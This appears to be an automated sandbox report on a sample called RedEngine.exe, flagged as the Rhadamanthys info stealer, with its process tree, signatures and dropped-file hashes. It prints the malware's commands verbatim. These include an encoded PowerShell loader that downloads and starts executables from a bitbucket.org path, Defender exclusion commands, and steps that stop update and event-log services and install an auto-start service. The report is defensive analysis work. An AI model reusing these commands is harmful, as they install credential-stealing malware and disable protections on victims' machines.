Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05-04-2024 17:02

General

  • Target

    RedEngine.exe

  • Size

    74KB

  • MD5

    8fb7a6bd32200aea3f517923285e39a8

  • SHA1

    dc5c1e8293cce5d82c5d7d338fb3cee57d2b997d

  • SHA256

    ccc95afa02727297eb7f6bbbe5e06d011ce4656c3b563e2841fad60d471e2f26

  • SHA512

    1445bc293350022e9302374df3915e71f3b8bd281db5a43bf67362b002896404e21a58e68963a6203d6ab04dffd5745c2ce1d2fbd650975936b327befa15e3a1

  • SSDEEP

    384:UWWFjyor85Z6coSQJ14p9FfVg6FHkosvxB2JeJhrpX5m4KbfocN4UCMfKqIOmRUG:ua5ZRo34pdsvpA1c3UzD9eXOeOiict9

Malware Config

Signatures

  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Stops running service(s) 3 TTPs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Launches sc.exe 9 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 47 IoCs
  • Suspicious behavior: EnumeratesProcesses 36 IoCs
  • Suspicious behavior: LoadsDriver 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 14 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:616
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:64
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:668
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
        1⤵
          PID:948
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
          1⤵
            PID:512
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k netsvcs -p -s DsmSvc
            1⤵
            • Modifies data under HKEY_USERS
            PID:428
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
            1⤵
              PID:1032
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
              1⤵
                PID:1060
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
                1⤵
                  PID:1068
                • C:\Windows\System32\svchost.exe
                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                  1⤵
                    PID:1156
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                    1⤵
                      PID:1184
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                      1⤵
                        PID:1304
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                        1⤵
                          PID:1312
                        • C:\Windows\system32\sihost.exe
                          sihost.exe
                          1⤵
                            PID:2612
                            • C:\Windows\SysWOW64\dialer.exe
                              "C:\Windows\system32\dialer.exe"
                              2⤵
                              • Suspicious behavior: EnumeratesProcesses
                              PID:3988
                          • C:\Windows\sysmon.exe
                            C:\Windows\sysmon.exe
                            1⤵
                              PID:2656
                            • C:\Users\Admin\AppData\Local\Temp\RedEngine.exe
                              "C:\Users\Admin\AppData\Local\Temp\RedEngine.exe"
                              1⤵
                              • Checks computer location settings
                              • Suspicious use of WriteProcessMemory
                              PID:2240
                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHkAeQBkACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHUAZgBoACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcATgBvACAAbABpAGMAZQBuAHMAZQAhACAAQwBvAG4AbgBlAGMAdAAgAHkAbwB1AHIAIABTAHQAZQBhAG0AIABhAGMAYwBvAHUAbgB0ACAAaQBuACAAbwByAGQAZQByACAAdABvACAAZwBlAHQAIABhACAAbABpAGMAZQBuAHMAZQAuACAATQBhAGsAZQAgAHMAdQByAGUAIAB0AGgAYQB0ACAAeQBvAHUAIABhAHIAZQAgAG4AbwB0ACAAdQBzAGkAbgBnACAAYQBsAHQAZQByAG4AYQB0AGkAdgBlACAAYQBjAGMAbwB1AG4AdAAsACAAbwB0AGgAZQByAHcAaQBzAGUAIABsAGkAYwBlAG4AcwBlACAAdwBpAGwAbAAgAG4AbwB0ACAAYgBlACAAZwBpAHYAZQBuAC4AIAAoAFQAaABpAHMAIABpAHMAIABkAG8AbgBlACAAdABvACAAcAByAGUAdgBlAG4AdAAgAGMAcgBhAGMAawBpAG4AZwApACcALAAnACcALAAnAE8ASwAnACwAJwBXAGEAcgBuAGkAbgBnACcAKQA8ACMAegBxAGUAIwA+ADsAIgA7ADwAIwBsAGIAcgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGgAYwBmACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAcABnACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHkAcwBpACMAPgA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBiAGkAdABiAHUAYwBrAGUAdAAuAG8AcgBnAC8AZABhAGcAZQB3AGgALwB0AGUAcwB0ADYAMwA0ADIANQAvAHIAYQB3AC8AMwAwADAANQBkAGQAMgBkADUANwAzADcAOQA4ADMAMQAyADQAMwAwADEAYQBkADgANgA0ADIANwA4AGYAZgA1ADMAMwBjAGMAOQA3ADEAYQAvAEwAZQB2AGkAUAByAG8AdAAuAGUAeABlACcALAAgADwAIwB6AHEAbQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGkAagBmACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHMAbQBmACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAGwAaQBjAC4AZQB4AGUAJwApACkAPAAjAHQAZgB2ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGIAaQB0AGIAdQBjAGsAZQB0AC4AbwByAGcALwBkAGEAZwBlAHcAaAAvAHQAZQBzAHQANgAzADQAMgA1AC8AcgBhAHcALwAzADAAMAA1AGQAZAAyAGQANQA3ADMANwA5ADgAMwAxADIANAAzADAAMQBhAGQAOAA2ADQAMgA3ADgAZgBmADUAMwAzAGMAYwA5ADcAMQBhAC8ATABlAHYAaQBhAHQAaABhAG4ALgBlAHgAZQAnACwAIAA8ACMAagBkAGIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBhAHYAdgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBhAGIAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBsAGkAYwBjAGgAZQBjAGsALgBlAHgAZQAnACkAKQA8ACMAdQBjAGEAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYgBpAHQAYgB1AGMAawBlAHQALgBvAHIAZwAvAGQAYQBnAGUAdwBoAC8AdABlAHMAdAA2ADMANAAyADUALwByAGEAdwAvADMAMAAwADUAZABkADIAZAA1ADcAMwA3ADkAOAAzADEAMgA0ADMAMAAxAGEAZAA4ADYANAAyADcAOABmAGYANQAzADMAYwBjADkANwAxAGEALwBMAGUAdgBpAHQAZQBuAC4AZQB4AGUAJwAsACAAPAAjAGcAeQB6ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAbABwAHgAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAaAB0AGIAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcATABpAGMARwBlAHQALgBlAHgAZQAnACkAKQA8ACMAdwBrAHIAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZABnAGMAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGsAZABuACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAGwAaQBjAC4AZQB4AGUAJwApADwAIwBpAGcAcgAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB4AHoAYwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAdQB6AGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbABpAGMAYwBoAGUAYwBrAC4AZQB4AGUAJwApADwAIwBoAHAAaQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB3AHEAbAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAbABpAHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcATABpAGMARwBlAHQALgBlAHgAZQAnACkAPAAjAGsAcwBrACMAPgA="
                                2⤵
                                • Blocklisted process makes network request
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                • Suspicious use of WriteProcessMemory
                                PID:2740
                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-Type -AssemblyName System.Windows.Forms;<#ufh#>[System.Windows.Forms.MessageBox]::Show('No license! Connect your Steam account in order to get a license. Make sure that you are not using alternative account, otherwise license will not be given. (This is done to prevent cracking)','','OK','Warning')<#zqe#>;
                                  3⤵
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:3076
                                • C:\Users\Admin\AppData\Roaming\lic.exe
                                  "C:\Users\Admin\AppData\Roaming\lic.exe"
                                  3⤵
                                  • Executes dropped EXE
                                  • Drops file in System32 directory
                                  • Suspicious use of SetThreadContext
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  • Suspicious use of WriteProcessMemory
                                  PID:3504
                                  • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                    4⤵
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:3144
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                    4⤵
                                    • Suspicious use of WriteProcessMemory
                                    PID:2556
                                    • C:\Windows\system32\wusa.exe
                                      wusa /uninstall /kb:890830 /quiet /norestart
                                      5⤵
                                        PID:2248
                                    • C:\Windows\system32\sc.exe
                                      C:\Windows\system32\sc.exe stop UsoSvc
                                      4⤵
                                      • Launches sc.exe
                                      PID:5060
                                    • C:\Windows\system32\sc.exe
                                      C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                      4⤵
                                      • Launches sc.exe
                                      PID:3604
                                    • C:\Windows\system32\sc.exe
                                      C:\Windows\system32\sc.exe stop wuauserv
                                      4⤵
                                      • Launches sc.exe
                                      PID:1632
                                    • C:\Windows\system32\sc.exe
                                      C:\Windows\system32\sc.exe stop bits
                                      4⤵
                                      • Launches sc.exe
                                      PID:2504
                                    • C:\Windows\system32\sc.exe
                                      C:\Windows\system32\sc.exe stop dosvc
                                      4⤵
                                      • Launches sc.exe
                                      PID:4964
                                    • C:\Windows\system32\powercfg.exe
                                      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                      4⤵
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:3452
                                    • C:\Windows\system32\powercfg.exe
                                      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                      4⤵
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:336
                                    • C:\Windows\system32\powercfg.exe
                                      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                      4⤵
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:452
                                    • C:\Windows\system32\powercfg.exe
                                      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                      4⤵
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:3992
                                    • C:\Windows\system32\dialer.exe
                                      C:\Windows\system32\dialer.exe
                                      4⤵
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      • Suspicious use of WriteProcessMemory
                                      PID:1448
                                    • C:\Windows\system32\sc.exe
                                      C:\Windows\system32\sc.exe delete "FJIEXRSL"
                                      4⤵
                                      • Launches sc.exe
                                      PID:3644
                                    • C:\Windows\system32\sc.exe
                                      C:\Windows\system32\sc.exe create "FJIEXRSL" binpath= "C:\ProgramData\mwvfjadyvgps\ebvoxlrooljj.exe" start= "auto"
                                      4⤵
                                      • Launches sc.exe
                                      PID:3656
                                    • C:\Windows\system32\sc.exe
                                      C:\Windows\system32\sc.exe stop eventlog
                                      4⤵
                                      • Launches sc.exe
                                      PID:3664
                                    • C:\Windows\system32\sc.exe
                                      C:\Windows\system32\sc.exe start "FJIEXRSL"
                                      4⤵
                                      • Launches sc.exe
                                      PID:4088
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\lic.exe"
                                      4⤵
                                      • Suspicious use of WriteProcessMemory
                                      PID:8
                                      • C:\Windows\system32\choice.exe
                                        choice /C Y /N /D Y /T 3
                                        5⤵
                                          PID:2392
                                    • C:\Users\Admin\AppData\Roaming\liccheck.exe
                                      "C:\Users\Admin\AppData\Roaming\liccheck.exe"
                                      3⤵
                                      • Suspicious use of NtCreateUserProcessOtherParentProcess
                                      • Executes dropped EXE
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of WriteProcessMemory
                                      PID:2040
                                    • C:\Users\Admin\AppData\Roaming\LicGet.exe
                                      "C:\Users\Admin\AppData\Roaming\LicGet.exe"
                                      3⤵
                                      • Executes dropped EXE
                                      • Adds Run key to start application
                                      PID:3448
                                • C:\ProgramData\mwvfjadyvgps\ebvoxlrooljj.exe
                                  C:\ProgramData\mwvfjadyvgps\ebvoxlrooljj.exe
                                  1⤵
                                  • Executes dropped EXE
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:2040
                                  • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                    2⤵
                                    • Drops file in System32 directory
                                    • Modifies data under HKEY_USERS
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:4476
                                • C:\Windows\system32\sihost.exe
                                  sihost.exe
                                  1⤵
                                    PID:2936
                                  • C:\Windows\system32\sihost.exe
                                    sihost.exe
                                    1⤵
                                      PID:1560

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                      Filesize

                                      2KB

                                      MD5

                                      33943ddf7ab410f98e2bff392ed62441

                                      SHA1

                                      f27016ff8b33cb2b8df39364d0ae2bf8a2c00e52

                                      SHA256

                                      186b4f81ac762e8bda66248fd38ce38190d108b5c430293f64c1dcef5ff32b65

                                      SHA512

                                      918d18568c816149d1dd848e1a5bfba9f3e84c9e4e23d4e4982c05cf9366ceac265ba82333aa2a917d2374fd6eb62877f28a92b226baee03918d8608af2d7ede

                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                      Filesize

                                      17KB

                                      MD5

                                      5efb49cec0db02811b5a377cd2518d69

                                      SHA1

                                      d2d8deebaa583fae9f6be1267c1062ce385aab86

                                      SHA256

                                      6dafee793a1899a409a908ab669a4075d8d58d0870dfc1d02db47b822b74a1b9

                                      SHA512

                                      8a4e89709cd338411e025a558ce9eb02efd1936152209ea8d934214ccaae5eff112e42759b6d696e5d62d4951b1f872470541835149d51c3a43a4b7d14279c14

                                    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_z11oyfbm.ldr.ps1

                                      Filesize

                                      60B

                                      MD5

                                      d17fe0a3f47be24a6453e9ef58c94641

                                      SHA1

                                      6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                      SHA256

                                      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                      SHA512

                                      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                    • C:\Users\Admin\AppData\Roaming\LicGet.exe

                                      Filesize

                                      98KB

                                      MD5

                                      d505d50ab745d07a7c9cba97717febe4

                                      SHA1

                                      528d34e656da344a33a5e3fe27ac43ad5f7dfd0a

                                      SHA256

                                      87fad0da502598adcb3da26c2a260cefcec7f383d73b62f94d7c8175812c0fad

                                      SHA512

                                      28a8975b6133c366cdcde075acbec07ce7be6fa7a98387dabe5d5c5024368ac9663705d668b1c48f4da6ae8b0f6b95798ac1e4abada6a5a885d431467c8febf1

                                    • C:\Users\Admin\AppData\Roaming\lic.exe

                                      Filesize

                                      2.8MB

                                      MD5

                                      87f351e454deded1b279aef5a5d632e9

                                      SHA1

                                      a936b08d94983f58a31f1207d73fd640fcbabd1a

                                      SHA256

                                      5543ea3c67eb8e9bb763a54e80a042dfa7b297d62610e7fe057d0fc7be49212c

                                      SHA512

                                      3c40874adc3ea30d147b68ba74aadb0b0228a822137dd0db04daa611a6ecc8ee8e0bfc49fb7242dee60bc2fa6860575f4061c7ff8aa9e4105550c710316f2b8f

                                    • C:\Users\Admin\AppData\Roaming\liccheck.exe

                                      Filesize

                                      355KB

                                      MD5

                                      091267b13791fb80a21044c473e74298

                                      SHA1

                                      7a4240532744ccb36fbd15f179dd0799b73de881

                                      SHA256

                                      7ff6d4737f39fefefa9fc6d1f3dc31fcc968d0d45bb09a364457a0af51af860f

                                      SHA512

                                      e69a6d7309bd73a365f088918c7cae13a8b0925f5b395e38c9cd51509d5b451694a660143f5be4d24624b51f4a4a6a1c2c0fac0a650a539386a81e4eaa7e71c2

                                    • memory/64-173-0x000001E9AD940000-0x000001E9AD96B000-memory.dmp

                                      Filesize

                                      172KB

                                    • memory/64-177-0x00007FFA49E4F000-0x00007FFA49E50000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/64-156-0x000001E9AD940000-0x000001E9AD96B000-memory.dmp

                                      Filesize

                                      172KB

                                    • memory/428-185-0x000001EF00600000-0x000001EF0062B000-memory.dmp

                                      Filesize

                                      172KB

                                    • memory/428-170-0x00007FFA09E30000-0x00007FFA09E40000-memory.dmp

                                      Filesize

                                      64KB

                                    • memory/428-167-0x000001EF00600000-0x000001EF0062B000-memory.dmp

                                      Filesize

                                      172KB

                                    • memory/512-163-0x000001375F690000-0x000001375F6BB000-memory.dmp

                                      Filesize

                                      172KB

                                    • memory/512-179-0x000001375F690000-0x000001375F6BB000-memory.dmp

                                      Filesize

                                      172KB

                                    • memory/512-166-0x00007FFA09E30000-0x00007FFA09E40000-memory.dmp

                                      Filesize

                                      64KB

                                    • memory/616-147-0x00000161171A0000-0x00000161171CB000-memory.dmp

                                      Filesize

                                      172KB

                                    • memory/616-210-0x00000161171A0000-0x00000161171CB000-memory.dmp

                                      Filesize

                                      172KB

                                    • memory/616-150-0x00007FFA49E4D000-0x00007FFA49E4E000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/616-144-0x0000016117170000-0x0000016117194000-memory.dmp

                                      Filesize

                                      144KB

                                    • memory/616-145-0x00000161171A0000-0x00000161171CB000-memory.dmp

                                      Filesize

                                      172KB

                                    • memory/668-161-0x00007FFA49E4C000-0x00007FFA49E4D000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/668-165-0x00007FFA49E4F000-0x00007FFA49E50000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/668-154-0x00000211F2440000-0x00000211F246B000-memory.dmp

                                      Filesize

                                      172KB

                                    • memory/668-158-0x00007FFA49E4D000-0x00007FFA49E4E000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/668-148-0x00000211F2440000-0x00000211F246B000-memory.dmp

                                      Filesize

                                      172KB

                                    • memory/668-151-0x00007FFA09E30000-0x00007FFA09E40000-memory.dmp

                                      Filesize

                                      64KB

                                    • memory/948-169-0x000001B622840000-0x000001B62286B000-memory.dmp

                                      Filesize

                                      172KB

                                    • memory/948-155-0x000001B622840000-0x000001B62286B000-memory.dmp

                                      Filesize

                                      172KB

                                    • memory/948-159-0x00007FFA09E30000-0x00007FFA09E40000-memory.dmp

                                      Filesize

                                      64KB

                                    • memory/1032-172-0x000001AE584D0000-0x000001AE584FB000-memory.dmp

                                      Filesize

                                      172KB

                                    • memory/1032-176-0x00007FFA09E30000-0x00007FFA09E40000-memory.dmp

                                      Filesize

                                      64KB

                                    • memory/1032-186-0x000001AE584D0000-0x000001AE584FB000-memory.dmp

                                      Filesize

                                      172KB

                                    • memory/1060-175-0x0000022209340000-0x000002220936B000-memory.dmp

                                      Filesize

                                      172KB

                                    • memory/1060-178-0x00007FFA09E30000-0x00007FFA09E40000-memory.dmp

                                      Filesize

                                      64KB

                                    • memory/1060-187-0x0000022209340000-0x000002220936B000-memory.dmp

                                      Filesize

                                      172KB

                                    • memory/1068-192-0x000002632F1B0000-0x000002632F1DB000-memory.dmp

                                      Filesize

                                      172KB

                                    • memory/1068-191-0x00007FFA09E30000-0x00007FFA09E40000-memory.dmp

                                      Filesize

                                      64KB

                                    • memory/1068-190-0x000002632F1B0000-0x000002632F1DB000-memory.dmp

                                      Filesize

                                      172KB

                                    • memory/1156-199-0x00007FFA09E30000-0x00007FFA09E40000-memory.dmp

                                      Filesize

                                      64KB

                                    • memory/1156-196-0x000001E5EBB60000-0x000001E5EBB8B000-memory.dmp

                                      Filesize

                                      172KB

                                    • memory/1184-198-0x00007FFA09E30000-0x00007FFA09E40000-memory.dmp

                                      Filesize

                                      64KB

                                    • memory/1184-197-0x0000022F5E360000-0x0000022F5E38B000-memory.dmp

                                      Filesize

                                      172KB

                                    • memory/1304-204-0x00007FFA09E30000-0x00007FFA09E40000-memory.dmp

                                      Filesize

                                      64KB

                                    • memory/1304-201-0x0000026CA29A0000-0x0000026CA29CB000-memory.dmp

                                      Filesize

                                      172KB

                                    • memory/1312-212-0x000001B20B170000-0x000001B20B19B000-memory.dmp

                                      Filesize

                                      172KB

                                    • memory/1448-130-0x0000000140000000-0x000000014002B000-memory.dmp

                                      Filesize

                                      172KB

                                    • memory/1448-131-0x0000000140000000-0x000000014002B000-memory.dmp

                                      Filesize

                                      172KB

                                    • memory/1448-137-0x00007FFA49C10000-0x00007FFA49CCE000-memory.dmp

                                      Filesize

                                      760KB

                                    • memory/1448-135-0x0000000140000000-0x000000014002B000-memory.dmp

                                      Filesize

                                      172KB

                                    • memory/1448-132-0x0000000140000000-0x000000014002B000-memory.dmp

                                      Filesize

                                      172KB

                                    • memory/1448-136-0x00007FFA49DB0000-0x00007FFA49FA5000-memory.dmp

                                      Filesize

                                      2.0MB

                                    • memory/1448-141-0x0000000140000000-0x000000014002B000-memory.dmp

                                      Filesize

                                      172KB

                                    • memory/1448-133-0x0000000140000000-0x000000014002B000-memory.dmp

                                      Filesize

                                      172KB

                                    • memory/2040-86-0x0000000000B30000-0x0000000000B9D000-memory.dmp

                                      Filesize

                                      436KB

                                    • memory/2040-95-0x0000000003450000-0x0000000003850000-memory.dmp

                                      Filesize

                                      4.0MB

                                    • memory/2040-96-0x0000000003450000-0x0000000003850000-memory.dmp

                                      Filesize

                                      4.0MB

                                    • memory/2040-98-0x0000000003450000-0x0000000003850000-memory.dmp

                                      Filesize

                                      4.0MB

                                    • memory/2040-102-0x0000000000B30000-0x0000000000B9D000-memory.dmp

                                      Filesize

                                      436KB

                                    • memory/2040-100-0x00000000774A0000-0x00000000776B5000-memory.dmp

                                      Filesize

                                      2.1MB

                                    • memory/2040-97-0x00007FFA49DB0000-0x00007FFA49FA5000-memory.dmp

                                      Filesize

                                      2.0MB

                                    • memory/2040-94-0x0000000003450000-0x0000000003850000-memory.dmp

                                      Filesize

                                      4.0MB

                                    • memory/2740-2-0x0000000004CE0000-0x0000000004CF0000-memory.dmp

                                      Filesize

                                      64KB

                                    • memory/2740-19-0x00000000061E0000-0x000000000622C000-memory.dmp

                                      Filesize

                                      304KB

                                    • memory/2740-56-0x00000000078E0000-0x00000000078F4000-memory.dmp

                                      Filesize

                                      80KB

                                    • memory/2740-57-0x0000000007920000-0x000000000793A000-memory.dmp

                                      Filesize

                                      104KB

                                    • memory/2740-53-0x00000000078A0000-0x00000000078B1000-memory.dmp

                                      Filesize

                                      68KB

                                    • memory/2740-52-0x0000000007850000-0x000000000785A000-memory.dmp

                                      Filesize

                                      40KB

                                    • memory/2740-51-0x0000000008580000-0x0000000008BFA000-memory.dmp

                                      Filesize

                                      6.5MB

                                    • memory/2740-41-0x0000000004CE0000-0x0000000004CF0000-memory.dmp

                                      Filesize

                                      64KB

                                    • memory/2740-22-0x00000000066B0000-0x00000000066D2000-memory.dmp

                                      Filesize

                                      136KB

                                    • memory/2740-40-0x00000000076B0000-0x0000000007753000-memory.dmp

                                      Filesize

                                      652KB

                                    • memory/2740-58-0x0000000007910000-0x0000000007918000-memory.dmp

                                      Filesize

                                      32KB

                                    • memory/2740-20-0x0000000007300000-0x0000000007396000-memory.dmp

                                      Filesize

                                      600KB

                                    • memory/2740-54-0x00000000078D0000-0x00000000078DE000-memory.dmp

                                      Filesize

                                      56KB

                                    • memory/2740-6-0x0000000005A50000-0x0000000005AB6000-memory.dmp

                                      Filesize

                                      408KB

                                    • memory/2740-37-0x0000000007650000-0x000000000766E000-memory.dmp

                                      Filesize

                                      120KB

                                    • memory/2740-0-0x0000000002B50000-0x0000000002B86000-memory.dmp

                                      Filesize

                                      216KB

                                    • memory/2740-1-0x0000000074CB0000-0x0000000075460000-memory.dmp

                                      Filesize

                                      7.7MB

                                    • memory/2740-5-0x0000000005270000-0x0000000005292000-memory.dmp

                                      Filesize

                                      136KB

                                    • memory/2740-25-0x0000000007670000-0x00000000076A2000-memory.dmp

                                      Filesize

                                      200KB

                                    • memory/2740-26-0x0000000070AD0000-0x0000000070B1C000-memory.dmp

                                      Filesize

                                      304KB

                                    • memory/2740-24-0x000000007F910000-0x000000007F920000-memory.dmp

                                      Filesize

                                      64KB

